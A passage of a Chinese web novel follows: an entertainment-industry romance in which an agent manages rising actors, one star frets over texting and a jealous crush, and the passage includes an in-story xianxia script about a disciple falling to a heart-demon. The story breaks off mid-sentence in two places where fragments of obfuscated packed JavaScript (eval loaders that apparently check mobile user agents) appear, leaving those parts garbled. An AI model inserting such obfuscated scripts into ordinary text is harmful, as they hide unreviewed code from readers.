“安宝安宝我们爱你!你是永远的主C!” “萧子重!萧子重我是你老公!!不不不是,萧子重你是我老婆!!!” 里里外外三四层的人群围堵了通道出口,叫声疯狂到刺激了耳膜,宫欢用手捂着两边耳朵,龇牙咧嘴地从一个人腋下钻出来。 她头发凌乱,乱蓬蓬地卷起好几个缠杂发团,顾不上整理,她加快步伐冲到目瞪口呆的几人面前。显然,大家都被宫欢的操作震惊了。 “愣着干嘛呢,赶紧过安检检票!等下她们反应过来就跑不掉了!” 宫欢说着一把抓住奚亭云的手腕,拉着他一路小跑到安检处,她忙忙慌慌地推着他去过安检,自己则不断朝粉丝那边看,生怕哪个聪明的发现情况不对。 两个小助理也手忙脚乱地去托运行李了,等奚亭云过了安检,粉丝那边慢慢回过味来,喊了半天没看见一个人出来,都纷纷互相看,不断发出疑问的嗯? 直到有人注意到满头乱发的宫欢,她简直像个活招牌,往那一站,就有人指着她喊:“快看,那是宫欢,宫欢在过安检了!X肯定也在过安检——我们被骗了啊啊啊!!” “什么!??” “刚才谁喊的X男团来了??” “卧槽,不会是宫欢诈我们吧!?” “宫欢!你玩阴的!!” 张牙舞爪,怒气冲冲的粉丝们反扑过来,朝着安检口的宫欢凶巴巴地冲来,她顿时跳了两下,迅速举起双手主动配合安检,一边前转后转地让人检查,一边嘴里碎碎念:“快快快姐姐求你快点,救人一命胜造七级浮屠啊啊啊!” 好在安检员发善心,在一位粉丝即将扑过来揪住宫欢后衣领时,放她过去。宫欢慌忙跑向奚亭云那边,几乎是飞扑过去,身体不稳地倾斜向他,像是要摔。 奚亭云两手扶住宫欢手臂,稳住她身型后,两人对视一眼,随即不约而同地看向安检口外的粉丝们。 生气发火的粉丝,惊讶尖叫的粉丝,有人举起手机,咔嚓咔嚓拍照的闪光灯不断映在他们身上,身后的叫喊一度被模糊成为背景音。 宫欢再次回头看他,奚亭云默契地在她回头时低下头看她,因为慌忙,她小口喘着气,心跳声扑通扑通的极快。 宫欢忽然觉得这场面很有趣好玩,一个没憋住,抿着唇噗嗤一声笑出来,她肩膀微颤,低低笑了几声。 奚亭云本来无所适从的僵硬身体因为她的笑而逐渐放松,扶着她手臂的手指收紧了几分,口罩上方露出的眼眸也缓和着弯下来。 一刹那,春水也为之起澜。 远处更有几声惊呼,热情高涨的粉丝们不断尖叫、轮番叫着男团三人的名字,有人认出在场的这位是谁,不断地叫着“奚亭云”、“奚亭云”。 旁边围观的人嘀咕着:“穿成这样都能认出来??” 热情的粉丝果断安利:“奚亭云的眼睛还不好认吗,他那多情温柔的眼睛,看人自带氛围感!!” 宫欢听见了,她笑完后抬头看看他眼睛,脸上的笑意渐渐收敛。 奚亭云正一眨不眨地看着她,眼睫微垂,遮敛了大半的眸光,这样的眼神更显出他的温柔专注。 温柔,多情,这些词来形容奚亭云,好像是合适的,可她没忘记这个人的另一面。 宫欢回神,她抽回被他攥着的手臂,往登机口那边歪头示意:“走吧,登机了。” 奚亭云点头算作答应,接着与她并肩而行,走时他抬起手,朝外面还在撕心裂肺叫嚷的粉丝们做了个安静的手势——他手掌微微往下轻压的同时轻轻点头,意思是“降低音量”。 很幸运的是她们确实听了他的,音量骤然减去大半,只剩一些压抑在喉咙的哼鸣声。 大概是意外于她们的配合,奚亭云欣慰地弯了弯眼眸,黑色口罩上方的清凌双眼带着说不出的柔情,笑眼动人。更是引起一波粉丝们咬手帕的操作。 奚亭云丝毫不知自己的一举一动会引来怎样的关注,他向粉丝们挥挥手,在宫欢进入通道后,背影也随之消失在登机口。 ...... 两人在头等舱坐下,忽然清净下来宫欢还有些不适应。 她拿出笔记本,继续忙碌工作,奚亭云则坐在她对面,单手托着下颌看窗外的云层。 最近爆火后,资源接踵而来,宫欢光是筛选都选到手麻,几天几夜的前后交接完,她才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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导演们的话仿佛犹在耳边,宫欢捏着手指,无意识地摩挲着,抬头看了眼望着舷窗外出神的奚亭云。 她眼神不似以往的欣赏美色,而是含有复杂的注视。 她在专注地,想要透过外层的皮囊看见他的本色。这个人真的会如两位导演所说那样,他潜藏着更大的可能性吗? 这次接下的角色,就是为了测试这一想法。 宫欢在众多的资源中选了一部刚开机的仙侠剧,就是想趁着三鬼将的热度,让奚亭云再次出演一个角色,来判断他到底是否更适合演员的路线。 说实话,最开始拉人组男团是宫欢有预谋的布局,她想要以最快的速度让三个人被大众看见,熟知,就要用最简单粗暴的方式。 让他们一个个跑龙套沉寂多年,她没有那么多的时间去等待一颗星星升起的过程。 现在被看见这项条件达到,她就要想办法为他们布局后面的路线。 她将三人完全打散,像是手握三张扑克牌,分散打开,一张一张地出。 安声适合唱跳,后续还是以唱跳舞台为他的路线,而萧子重则就好安排,让宫欢感到麻烦的是奚亭云。 他草根出身,没有权势身家支撑,没有专业技巧傍身,想捧他起来,实在是自找苦吃。 可宫欢就是喜欢做些有挑战性的事情,譬如接下‘对赌协议’,譬如路边随便拉个人做艺人,她向来不按常理出牌,她也有本事,有能力,让她的艺人们走到最顶峰。 这趟航班飞向遥远而偏僻的山林村落,宫欢缓缓合上笔记本,目光仍停留在奚亭云身上。 她想,你别让我失望,奚亭云。 126. 当你发现你的crush和其他人聊天很开心…… 这趟航班的飞行时间偏长,宫欢中途小睡了会。 奚亭云就趁她熟睡的时候,不带任何掩饰地直勾勾看她。 他看得很细。她今日画得妆容是偏上扬的细眉,眉尾一侧点了颗极其细微的一颗小痣,因为睡姿挤压得圆扁的脸颊肉显得人娇憨,连她额前散落的几根发丝他都数得清楚。 奚亭云放在膝上的手指微微动了下,他放轻动作调整坐姿,身体以一种蜗牛速度前倾,缓慢,缓慢,他伸出手——终于,触碰到了她的一些衣角。 接着,将那些柔软的裙角攥入手心。 恍惚了数日的虚幻感被驱散,他终于体会到了真实的落地感。 他甚至松懈肩膀,缓缓呼出气息。 这套服饰她之前私下没穿过,是新的搭配,多明艳的色彩在她身上都能完美融合。 奚亭云无意识地用手指反复揉着那片裙角,柔软,丝滑,他手心的皮肉粗糙,几下就揉皱了这布料。 是真实的。 他都能感受到她的体温。 自【风雨九州】播放后以来,他就处于不安的焦躁当中,那感觉说不清道不明。明明他已经在努力适应环境,已经能够不露怯,姿态自然地和他们打成一片了。 可在热度逐渐攀升,他的公开社交账号被轰炸,私信评论成千上万后,他还是感到了恐慌。 他没去看“红”的原因,个人微信却还是不可避免地受到影响。 太多太多的人来问他的近况。之前的夜市摊主们,他的之前的房东,没见过几面的亲戚,曾经常吃他炒饭的客人们。 他的微信里不足一百人,之前非常安静,没人来打扰他,但在三鬼将爆火后,90个人都给他发过消息。 奚亭云数过的,接着他将那些人一个一个的全部删除了。 所谓的“火了就忘本”、“高攀不起”、“有钱人”,这些评价他都不在意,他只是不想被打扰了,这个微信的存在只有一个作用,这个微信的核心就是宫欢,其他的人只是因为她的缘故,他需要去认识,聊天。 他知道什么是火,可他并不适应。 出门时被人偷拍,指指点点地小声交谈,无数双眼睛通过任何一个角落看他,在暗处,在明处,在路边的随便一个人身上,在抬头的楼顶上的每一扇窗户后,在车流穿梭的每一辆车内,都有一双双眼睛在看他。 奚亭云感觉指尖发麻,身体不断渗出汗,无以言说的恐慌令他呼吸困难,脖颈那似有一双手紧紧掐着他。 他会忽然眩晕,眼前发黑,怎么呼吸胸口都是堵塞的,无法正常,身体比他自己先意识到——他在害怕。 这是他没想到的。 没有为宫欢达到她想要的结果前,他居然先无法适应,他会拖她的后腿,成为三个人里面最扶不上墙的一滩烂泥,被她彻底抛弃。 直到,直到他脸色苍白地走到正在忙碌的宫欢旁边,呼吸发紧,胸腔成了麻木的石窟洞穴,他真的撑不住了,什么矜持的欲擒故纵,什么不能太上赶着,他全都抛在了一边,现在他只知道,他呼吸不了了。 他那时整个人浑身发烫,思绪不正常,看见她盘腿坐在地毯上,踉踉跄跄地走过去,噗通一声,跪在她身侧,将头彻底埋在她颈窝。 宫欢当时正是忙的时候,也没推他,只是顺手摸摸他的头发随手呼噜一圈,接着收手继续敲着键盘,给水军发文案内容。 奚亭云鼻端不断有她的气息传来,清浅的洗发水香味,好像和他的是同一款。 呼吸渐渐平稳下来,每一次呼吸终于都能抵达肺部形成正循环,堵塞感慢慢消失,混乱的思绪趋于正常,能听见她发语音时骂人的鲜活模样,能感受到她身体随着呼吸微微起伏。 ...是真实的,她真的在他身边,这些时间以来的接触都不是假的。 好想,就这么死在她怀里,也不错。 黄金七天营销期,宫欢在客厅待了多久,奚亭云就在她旁边睡了多久,刚开始前两天,他是睡在她腿边的地毯上。 有一晚宫欢半夜将他摇醒,神情亢奋地说:“我的大明星,你千万别着凉了,快去沙发上睡,我的毛毯在那,你随便盖!” 奚亭云本想拒绝的话语拐了个弯,主动且有些迫不及待地去了她身后的皮质沙发上,蓝白相间的绒毯盖在身上,全身都被她的气味包裹,毛孔张开,眼神涣散失焦,奚亭云又有些晕眩了。 他眼神迷乱,出神地望着宫欢的背后,他侧过身体,在毛毯里蜷缩起来,眼皮沉重地下压,睡去的那一秒,他喉间溢出一声近似哼鸣的喟叹。 好满足。好幸福。 ...... 打断回忆的,是手机消息提示音。 奚亭云早已将消息音调到最低,因此,放置在一边的手机只是轻微地震动几下,嗡嗡得刺耳,让他不得不从回忆里回到现实。 奚亭云轻轻吐气,闭眼再睁眼的细微表情里透出几分不耐,他将手中的裙角尽量抚平,轻放回她小腿处,回正身体拿起手机随意看了两眼。 萧子重发来一连串的骚扰信息: 【怎么和女孩子聊天啊!!!!】 【老奚教教我!!我把天聊死了,她已经两分钟没回我了!!】 【要不,我也去找个她的表情包发?】 点谁呢。 奚亭云眼神微冷,面上端得冷肃模样,手指简单的略过输入法:【你怎么聊的?】 那边的萧子重正在输入中......:【就和平时一样啊!!】 【不过我之前只会嗯嗯啊啊,一点都挑不起话题,这两天我发现输入法有ai小秘籍——“教您怎样回复女友”,我就试着用了。】 发完消息,他另截了图发来一张。 奚亭云将图片点开一看,立刻陷入长久的沉默。 图片里,甘惊鸿发消息说:“职场剧好难拍啊,要演出我很高智商精英的感觉,呜呜呜感觉自己演不出来那么聪明的人!” 萧子重的AI小秘籍回复的是:“啊啊啊啊不要妄自菲薄,你本来就已经很聪明了,出演这个角色是绰绰有余的,我非常相信你,加油女朋友!” 对此,萧子重表示,AI小秘籍说它很会助攻,他就信了。 消息发出去后,萧子重大概也意识到问题,手忙脚乱地点击了,删、除、消、息。 那时候,他真的很想就此消失在地球上,去外太空做个太空垃圾。 甘惊鸿那边在五小时后回复:“前辈?你的手机被人偷了吗?” 萧子重回的是:“没,没有,我的手机又掉进水里了......” 死亡回复莫过于此。与crush聊天的雷萧子重踩了个遍,他的回复内容成功的在奚亭云这打上了‘反面案例’。 神仙也救不回来。 奚亭云抬头看了眼对面的宫欢,她翻了个身,像是要醒的样子,航班即将抵达目的地,他低头匆匆回复:【没救。】 - 没救,没救是什么意思?? 萧子重急躁地抓着头发扯了扯,手机摆在面前的茶几上,聊天界面的光忽得暗下去,他伸手戳亮,继续看着回复内容纠结得要死。 天知道,他背过几十万字的剧本内容,舞台上连续一小时的表演一字不差,临场反应都是最好的,可偏偏回复消息这小到不能再小的事,他怎么就被难倒了。 奚亭云也不给他支个招,大家都是难兄难弟,教他一下怎么了。 唉。 萧子重对着手机长吁短叹,高姐提着行李出来时看见他这死出也不惯着:“东西收拾好了吗,我们马上要去机场,剧宣综艺晚上开拍,你是新人,不能迟到。” 宫欢走前分别给两人都安排了行程,萧子重代表三人去参加【风雨九州】的剧宣综艺,安声则专注新歌排舞,过两天会在新的舞台上发布专人单曲CD。 三人之前排过这支舞,只是发布单曲仍然以安声的名义。 被人催促,萧子重才磨磨蹭蹭地起身,将手机锁屏,在手里旋转了一圈塞回裤袋里,他点头应道:“行,这就去装两件衣服,五分钟就好。” 说是五分钟,其实他上了楼再下来也就三分钟,手里拎着纯黑色的运动包,估计里面塞了两件替换衣物,高姐早就摸准了萧子重的性子,勒令他必须带一套能见人的上节目的高定服装,他才老老实实又跑了个来回。 录制综艺的电视台正是他们的初舞台曾经去过的B市电视台,落地机场后,还有一段车程。 萧子重一路上手机没离过手,心不在焉地看看窗外风景,目光频繁地在窗外与手机上来回移动。 甘惊鸿拍戏时人就像失踪了,经常大几个小时不回复消息,萧子重也都耐心地等着。 等待期间,他登录微博小号,刷了刷热搜。 他本意是想看看最近【风雨九州】又有什么新热搜,手指在屏幕上滑动,眼神却没聚焦,只是虚虚地发怔,翻到底部,他反应过来,返回去,在搜索框敲了个甘字。 联想词条出现四五行内容。 #‘惊心动魄’cp磕死我了。 #‘惊心动魄’是真的。 ‘#惊心动魄’营业。 萧子重愣住两秒,紧接着忽得坐直了身体,两 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原来这就是‘惊心动魄’。 他扯了扯嘴角的皮肉,想笑还是想自嘲。 他脸黑沉得太过明显,车内的空间就这么大,萧子重气压一低,前面的高姐很轻易便感受到了。 高姐坐在副驾驶位,她透过后视镜看他:“怎么了,又看到黑粉骂你什么难听的话了?” 他摇摇头,继而手中继续刷下一个视频。 拍摄花絮怎么那么多,多到根本看不完。 你们的互动怎么没完没了,那男的不用睡觉么,从白天到黑夜,黑夜倒白天,总是待在一起,有没有分寸感?烦不烦人? 为什么花絮总能拍到你们,剧组没有其他人吗,关系有那么好吗,你们认识了多久,你们聊了什么,有那么,开心吗? 比和我聊天还要开心么。 萧子重去搜索了这部剧的播出剧集,从第一集开始倍速播放,男女主的剧情他全部略过,只在甘惊鸿出现的片段放慢观看。 她饰演的是女二,一个深谙人性且是社交能手的职场精英,而男二和她有些感情线,大概是人前互相看不起,所有人都以为两人是死对头,结果背地里两人谈起恋爱了。 所以是‘惊心动魄’么。 甘惊鸿的惊,那男的占了个心。 他手指几乎将手机壳边缘扣下半块来,指腹泛着白,手背青筋凸起,活像要把手机当成谁的脑袋捏碎。 回到微信聊天界面,甘惊鸿有三个小时没回消息。 他点击聊天框,返回,点击,返回,点击,返回。 持续十几次后,在输入法中挑选合适的字组成一句话,因为不确定,他又点开输入法的‘AI小秘籍’,刚想问,又紧急撤回。 AI怎么能比得上人的建议,思索片刻,他点开某书,发布了一条帖子—— 问:【当你发现你的crush和其他人聊天很开心,该怎么办?】 - 【小剧场】 某书帖子。 如题,楼主很在意一个女生,她人很活泼,落落大方,招人喜欢,最近我们不在一起,她在另一个城市,和同事好像玩得很开心,还有许多人喜欢他们两个人在一起的氛围感,我好想知道他们是不是在一起了,可是我不敢问,我也没有资格问。 我前段时间才找死故意忽视她,把她气哭了。她是不是因为这件事对我失望,所以......她是不是已经放弃我了...... 我还有办法挽回吗? 这条帖子发布后仅过了几分钟,就有不少评论。 momo:【你之前还忽视她!??那还说什么,她肯定换人啊,男人作就是找死。】 情感大师王医生:【不对,楼主为什么之前故意忽视她,忽视了又想挽回,你什么毛病,地址宛平路xx号,马上过来就诊。】 猹猹猹:【王医生说得对,我也感觉楼主有点毛病。】 西瓜盖饭:【大家消消火,楼主既然发出来问,肯定还是在意的,我们好好解决感情问题。楼主你就直接发消息问她,你和那男的什么关系,你什么意思,然后她把你拉黑,诶,我们又拯救了一位伟大女性!!】 nonono:【分。】 吧啦啦啦小魔仙:【建议楼主马上远离她,说不定对方还能对你留有一丝好感。】 宁毁一桩婚不拆十座庙:【楼主这么纠结,干脆在下一次见面的时候,直接吻她,你就会知道你得到的是一个巴掌,还是一个拥抱。】 127. 堕魔已成(含剧本故事) 甘惊鸿最近的都市职场剧反响很好,剧刚播十几集,她的剧情线刚到一半,网上便有cp二创视频,热度还挺高。 这部剧的制作班底是新组的导演班子,剧组里大家相处都非常随和,男一女一也都是二三线演员,大家没人端架子,拍摄间隙聊天笑闹,探讨角色人物,剧组氛围其乐融融。 甘惊鸿的状态就更放松,她逐渐融入角色,人物细节参考宫欢和高姐的行事作风,毕竟平时她接触最多的职场人士就是这两位了。 不过,即使学了她们的状态,甘惊鸿自身气质显露出来的却是内敛不外露的气势,大概是个人性格使然。 她的戏份不多,整体拍下来没用多久,离她个人戏份杀青还有一星期左右。 最近甘惊鸿刷到过三鬼将的视频,她兴冲冲地全程追剧,在萧子重他们出场时更是激动不已,本就比较崇拜萧子重的老戏骨资历的她,在三鬼将后经常视频轰炸。 她转发许多二创视频给萧子重,发完一阵猛夸,还是每天不重样的夸。甚至亲自下场剪混剪视频,配上燃爆的BGM发在小号上,也收获了一些点赞评论。 只是那天情况有点奇怪。 甘惊鸿将她剪辑的视频发给萧子重,并说:【啊啊啊前辈快看,这是我剪的你们的视频,怎么样/期待】 萧子重:【你,你剪的?】 萧子重:【好看,好厉害,好...好好看。】 他回复的速度偏慢,甘惊鸿经常发完消息去忙着跟同组演员对戏,对完回来看消息框,发现聊天界面上有一行大字——【对方正在输入中...】 她只得将手机放下,隔几分钟回来看。 【对方正在输入中...】 再隔一段时间,【对方正在...】 甘惊鸿不由得怀疑,前辈是不是睡着了,忘记关手机。 为了确定自己的想法,她想着怎么引起话题,看看对方会不会回复。 甘惊鸿:【职场剧好难拍啊,要演出我很高智商精英的感觉,呜呜呜感觉自己演不出来那么聪明的人!】 这之后,甘惊鸿收到那条让她惊愕到失语的消息。 萧子重:【啊啊啊啊不要妄自菲薄,你本来就已经很聪明了,出演这个角色是绰绰有余的,我非常相信你,加油女朋友!】 是不是,发错人了? 他有女朋友了? 甘惊鸿的心思七上八下,甚至有些焦躁地咬着头发来回踱步,这条消息彻底打乱她的情绪,连拍戏都不在状态。 不行,她要确定一下。 手机屏幕的光映出甘惊鸿不安的脸:【前辈?你的手机被人偷了吗?】 这句算是试探性地问,萧子重并没正面回答,甘惊鸿没办法静下心,她想了想,又去宫欢那边套话。 甘惊鸿:【欢姐,..嗯,三鬼将最近好火啊,好多人说他们美强惨好看死了,那个,有人问我,萧子重有没有女朋友。】 - 收到消息时,宫欢刚与奚亭云落地机场。 他主动地接过她手里提着的电脑包,宫欢便两手得闲,看见甘惊鸿发来的信息,眉头缓缓皱起。 有种怪异的预感。 谁会问这种问题? 虽然纳闷,可宫欢还是好好回复:【应该是没有的,有的话违约金要扣不少。】 发完消息,宫欢记起最近她跟进的甘惊鸿cp热度进展。黄金营销期期间,她多方关注,没一个落下的,甘惊鸿参演的职场剧《前方》也正逢热播期间,热度虽然比不上三鬼将,可也是排名靠前的流量大头。 尤其是微博的cp超话,热度直逼第一。 她那几天忙得焦头烂额,不断地做营销方案,好在甘惊鸿很给她争气。 甘惊鸿演技虽然青涩,却别出一格,与男演员的cp感清新不做作,自然吸引着更多的人关注。 宫欢早就有炒cp的想法,这时候看见消息,思绪在心头绕过一圈,还是提出来了。 宫欢:【我有件事想看看你的意见。】 甘惊鸿:【啊,怎么忽然这么严肃啊,欢姐,有什么尽管说呀。】 宫欢:【你的cp热度持续飚高,是个营销的好机会,错过太可惜了,我想问下你的意见,你愿不愿意炒作,营业cp?】 回消息时,她全程低着头,走路不看路,机场的人来来往往,一个不慎就容易碰撞到。 奚亭云随时看着周围环境,空出的手偶尔碰碰她,或是直接引导宫欢往哪个方向走。 即使戴着口罩,机场里仍有一些人敏锐地注意到他。 高挑的身型,清瘦的身体,口罩遮挡不住他的眉眼,反而衬出眼眸的幽深清冽,他漫不经心地视线扫过周围,眉心拧起。 他低头俯身向旁边的宫欢轻声提醒一句:“欢欢,好像有人发现我们了。” “嗯?”宫欢不明所以地抬抬头,匆匆应了声,“好,我们走快点。” 她顾不上发消息,手指摁住语音键,低声道:“你不用担心cp绑定得太死,营业期间炒一下没关系的,后续只要不互动,不联系,不同台,cp粉就会自动散开,她们会自己选择更喜欢两个人里面的谁,你和那个演员的形象怎么看都是你更好,到时候肯定大把的人粉你......” 她一条条语音发着,注意力仍在对话上,身体只能过分地依赖奚亭云。 他走哪,她就走哪,他走快了,她便伸手去拉他,像是怕他走远,又似乎是怕自己跟丢。 奚亭云过度沉迷这样的依赖,即使附近越来越多的人看过来,他还是忍不住放慢速度,带着宫欢多转了一圈,直到她察觉,迷惑地看他:“机场的路这么长吗...刚才是不是走过这里了??” “没有,”奚亭云面不改色地说谎,“机场的路都一样。” 但她可没那么好糊弄,她指着一旁的标识牌:“少来,我刚才就看见这东西了,这已经是第二遍看见它了。” 太过明显的谎言有时是种可爱。 尤其配上奚亭云垂着眼睫,薄唇紧张抿起的表情,他所释放出的情绪气息一下将宫欢感染了,她微微怔住,脑中闪过陈导她们说的话。 有的人一下就能将你拉入情境中。 她没多说,脾气好得不像本人,只是嗔怪似的看他一眼,便向着出口走去。 奚亭云被这一眼看得僵硬在原地,手心都渗出汗来。 他原以为她会生气,像对待萧子重那样对他,骂他,凶他,教他管好自己日益膨胀的贪婪,守好自己的本分,不要逾越半点。 可她没有。 她只是,眼波流转般地看他一眼,像在责怪,可又是不舍的责怪,是无奈的纵容。 人渐渐走远,奚亭云慌忙拖着发麻的腿半瘸半拐地追上她,周遭的声音一下消散,只剩他粗糙的喘气声,和狂乱不止的心跳。 ...... 到达剧组是两小时后。 两人落地后直奔剧组而来,拿到剧本,奚亭云仔细地翻看角色内容。 来之前,宫欢只是临时通知他有个新角色要去试镜,说是试镜,其实已经敲定出演了,试镜只是走个过场。 她接影视资源是先自己过一遍眼,觉得适合他们发展才会再告知,而像甘惊鸿她们则是有选择的余地,只不过更多的是和宫欢商量着推进。 对萧子重来说,宫欢这种双标行为非常之可恶,简而言之就是,因为他们不火,所以处处压榨管控,没有一点人身自由、选择自由! 可对奚亭云来说...... 欢欢好在意他。他的行程、档期、挑选剧本的、所有能自主决定的事情,她都独揽过去。 她好看重他。 那他就更不能让她失望了。 剧本阅览完,奚亭云凝神静心,在休息室里专注地去构造角色心理。不多时,门外传来宫欢大大咧咧的声音,她带着两三位造型师进来,几个人忙碌着给奚亭云整理好服装发包。再一通忙活化上妆容,一个仙侠剧男二顿时活了。 他坐在化妆镜前有些陌生地看着镜中的人,身旁的三位化妆师沟通着细节问题,他不自然地拿起桌上的矿泉水喝了几口。 宫欢顺手拿起桌上翻开的剧本,低头翻过几页,随机抽查似的问道:“人物的剧情设定都看了吗?这个角色戏份不多,基本是高光即死亡,所以最重要的是那场高光戏份,状态要调整好,这次顺利的话会延续三鬼将的热度,我到时候营销跟进上去,文案就配‘内娱黑马!美强惨男配专业户!’,你——你看什么呢?” 宫欢见人一副神游天外的表情,立即单手叉腰,歪头要算账的模样。 她认真解释公关工作时,状态投入,身上自然流露出游刃有余的掌控感,奚亭云几乎是从开头她翻剧本那里,就被她的举动所牵引着情绪,她随手翻页的动作都令他呼吸一滞,低头看剧本时眼睫上下翩动,他目不转睛地直勾勾盯着看,怎么都移不开眼。 现在,她歪头,眉心微皱地看他。 “说话。”她说。 奚亭云瞬间回神,慌乱地眨动几下眼睛,努力回忆起刚才她说过的话,磕磕绊绊、结结巴巴地说:“我,我都看完了。我饰演的是表面温润尔雅大师兄,实则已经被心魔吞噬了心智,变为了扭曲可怖的妖魔。” “他和之前的三鬼将的角色性质不同,演法也不能一样。大师兄是要演出两面性,一面是和师兄弟们友好相处的大师兄,无奈善后老好人,但没人时......” 说到后面,奚亭云声音渐渐低弱,似乎想到什么,卡在那没说下去。 宫欢没注意到这细节,她略显讶异地挑眉,很意外奚亭云在这么短的时间里将角色理解透彻。不过理解是一回事,演又是另一回事。 “看了剧本就行,”宫欢想他不至于飘到剧本都不过眼,“等下试镜的时候你需要注意,导演会多方面来看演员与角色的适配度,指不定挑出哪段剧情让你当场表演。据我经验来看,应该会让你尝试表面温文尔雅的大师兄,接着马上让你衔接堕魔的状态,这样才能看出你切换角色时够不够带感。” 她将剧本卷成团:“时间不多了,你多进入一下状态,有把握吗?” 奚亭云深深吐气,眸色笃定:“有。” - 【青华山上有一不知名的小门派名为青华宗,因为太小,连宗名都是以山名为替,宗内不超10人,在修真界属实是不够看的。 可就在前几日,青华宗名声大噪,上山的门槛都被人踩踏得一破再破。 原因就是,前阵子的修真界宗门大比上,赫赫有名、万众瞩目的修真天才在面临四大门派的橄榄枝时,竟然选了青华宗。 连修真界宗门谱册录都没上的一个小宗派。 宗内上下的师兄弟们得知这消息激动不已,彻夜不休地将匾额一擦再擦,连小师妹都整日里盼着那人来——她向来爱黏着大师兄,这几日却爱答不理。 应淮难得地生出些落寞感。 他是宗内大师兄,因为天资算是上等,颇受众人青睐,可自打宗门大比后,师兄弟们的心思都放在了新来的师弟身上。 说没有情绪是不可能的。 他受到冷落,却也不能表现出来,谁让他是宗门大师兄呢,大师兄就应当谦逊有礼,落落大方。 可当那些仰慕欣赏的目光渐渐从他身上褪去,重新放在其他人身上,应淮却感到浑身阴冷。无人之时,他总被那股阴冷缠绕,有道声音在耳侧萦绕,日日夜夜扰他不能梦寐。 别被影响,他不断劝诫自己。他只得强迫自己去寒冰崖底锻身炼心,去迎合众人一同迎接这被誉为“修真界天才,千年难得一遇”的新师弟。 - 初来一些时日尚好相处,大家相安无事。 新来的师弟待人亲和,性子不同于他们常年清修的人,他顽劣爱闹,将僻静清心的青华宗硬生生改成人来人往的酒楼一般。 师弟人脉甚广,五湖四海,上天下地的人都来与他相见,这青华宗似是成了他们叙旧的一处居所,一座□□。 他们可有将青华宗放在心上? 即使是小到不能再小的门派,也该有敬重之心,岂能随意往来,将门派作为自家后院攀谈? 应淮曾向师兄弟,师傅旁敲侧击,说该严令弟子们守规矩,不放外人随意入宗内,可师傅轻飘飘地说:“哎,天下修真人士同门同宗,不分你我。” 师兄弟们也不以为然,说什么宗内许多年没这样的热闹了,他们也喜欢与人谈天说地。 那算什么谈天说地,不过是胡侃杂言,平白扰人清修又不能指出半条前路。他们分明就是被引入歧途,将懒散不练功的缘由归于“心态洒脱”上。 以往不是这般的。自那位“天才”师弟到来后,一切截然不同。 应淮心里有气,只得一次次压下,可那气息在夜深时翻腾出灰黑色烟雾,将他团团围绕,祂幻化成他的模样。 “他”双目赤红,面目狰狞似妖魔,身上那件锦衣白袍由法器织成,被寸寸染黑,血红的叶脉纹路在黑袍上蔓延,“他”与应淮面对面,笑得肆无忌惮。 “他”说,这些人根本没将他当回事,他们只知道围着新来的“天才”团团转,将真正为宗门做事的他弃如敝履。 应淮最初是否认的,他细数宗内师兄弟们的好,人人待他都如亲人,说师傅将珍品法器都投用在他身上,可见寄予厚望。师兄弟们都以他为青华宗之荣光,盼望他应淮带着这一小门派在修真界崭露头角。 他越说,声音越弱下去。 那与他同等样貌,却截然不同的人,接下他的话:“现如今,那些本该属于你的东西,都被新来的师弟抢走了,你现在又算什么呢?” “他”走到应淮面前,距离近到几乎是鼻尖相抵,额头相撞,白与黑两色的衣袍仿若镜中人对照。 “他”说:“所以啊,去抢夺本该属于你的,让那个众人高高捧起的‘天才’摔到地上,他本就名声大赫,拥有数不尽的人关照,凭什么还要来小小的青华宗争夺属于你的一切?” 不对,不对。 应淮摇着头,脸色苍白地想后退躲避着与他长得一模一样的人,不慎间,腰身撞在身后的石桌,隐隐钝痛向皮肉内蔓延开。 面前循循善诱的人仍未消失,不是梦,不是假的,“他”双手搭在应淮肩上,迫使应淮转身,接着“他”俯身在耳边,示意应淮:“看,那边的石桥上,小师妹与那人聊得多欢欣,她眼里含笑...可真好看,原先可都是你的......” 耳边气息冰冷,带着森森寒气,应淮抑制着打冷颤的反应,顺着看过去。 自小追在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他”俯下身,带着得意的、贪婪的脸慢慢凑近,直到应淮面前,近到仿佛与应淮是一具身体撕扯下来的:“还在装你的大师兄吗,再继续穿着这身壳子,小师妹就真的要被那人抢去了,应淮啊应淮,你从来都是被遗弃的那个——哈哈哈哈哈!” 应淮仓皇地使力挥手,试图将“他”驱散,却见那鬼魂似的魂体散开后重又回聚,他怒不可遏,一次次地上前将心魔打散。 他赤脚下了地,追着飘远的魂体冲出房门,一路追赶着直至后山。 寒露凝霜的深夜里,应淮衣衫不整,单薄的里衣几乎湿透,牢牢扒在皮肤上,他踉踉跄跄地追着心魔,一身的冷汗,神智更是被心魔激得尽是恨怒,连方向都分辨不清。 直至后山瀑布崖底下,心魔的魔气忽得在一片幽深潭水上方消散于无形,应淮整个人扑进冰冷潭水中,四肢身体全被彻骨之寒的潭水覆盖,双腿一度发软,不慎呛了几口水,他冷得身体打颤,却还徒劳地想往更深处的潭水里扑。 心魔在他脑中呓语似的不断重复,不停刺激应淮的心绪。 “大师兄?” 四周寂静的竹林里响起这么道熟悉的声音,应淮的后背瞬间僵硬,再寒冷的潭水都无法令他清醒,这声音却让他瞬间回过神来。 应淮死死站在潭水里不回头,他闭眼催眠自己,不是,不是,这么晚了,那人怎么会出现在这!? 世间万事往往事与愿违,新来的、誉有“修真界天才”之名的师弟,正在应淮身后。 师弟语气听不出来情绪:“大师兄可是也察觉到了魔气,才深夜至此?” 这人是真不懂还是有意试探都无所谓了。 应淮体内渐渐溢出更多的魔气,在深不见底的潭水里蔓延开来,心魔再次幻化出魂体,在他面前狰狞而笑,仿佛与应淮亲密无间般地贴在耳侧:“看啊,哈哈哈看啊,他装得可真是天衣无缝,此处就你一人,谁都看得出来魔气就在你身上,他却非要问上一问,是啊,青华宗大弟子竟有堕魔之势,这若是让他说出去,又要被多少人捧起称赞一句“天之骄子”,可你呢,你就是——青华宗堕魔的那个大弟子!” 够了。 够了! 